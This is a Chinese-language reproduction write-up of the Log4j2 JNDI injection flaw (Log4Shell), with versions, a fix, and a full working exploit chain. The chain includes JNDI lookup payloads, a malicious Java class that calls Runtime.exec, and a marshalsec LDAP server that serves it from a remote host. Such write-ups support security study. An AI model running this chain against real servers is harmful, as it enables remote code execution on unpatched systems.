1. 漏洞描述
12 月 10 日凌晨,Apache Log4j2存在任意代码执行漏洞细节被公开,经过分析,该组件存在Java JNDI注入漏洞,当程序将用户输入的数据进行日志,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
Log4j 是一款开源Java日志记录工具。Log4j2是对Log4j的升级,此次漏洞正是由用于Log4j2提供的lookup功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

2. 影响版本
Apache Log4j 2.x <= 2.14.1 Apache Log4j 2.x < 2.15.0-rc2
3. 漏洞复现
首先尝试dnslog打一波,新建一个maven项目,加上log4j依赖:
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
然后编写类:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class Log {
public static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:ldap://td6a4.xxx.aliguru.xyz}");
}
}

然后尝试rce,这里使用jdk1.8.0_66的版本,高版本需要寻找其他利用链。先新建一个恶意的类:
# Exploit.java
public class Exploit{
public Exploit(){
try{
String[] commands = {"touch","/tmp/123"};//执行的命令。参数需要分开
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
}catch(Exception e){
e.printStackTrace();
} }
public static void main(String[] argc){
Exploit e = new Exploit();
} }
然后编译成class文件
/javac Exploit.java
将编译成的class文件上传到文件服务器上:
python3 -m http.server 9000
到此刻访问http://42.192.189.2:9000/Exploit.class可以访问到恶意类。
再使用marshalsec启动一个LDAP服务器,监听9999端口,并指定远程加载类Exploit.class。
apt install maven
git clone https://github.com/mbechler/marshalsec.git
mvn clean package -DskipTests
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://42.192.189.2:9000/#Exploit" 9999
到此刻jndi服务器就完成了
然后尝试log加载远程代码:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class Log {
public static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:ldap://42.192.189.2:9999/Exploit}");
}
}


成功实现rce
4. 漏洞修复
升级到log4j 2.16.0及以上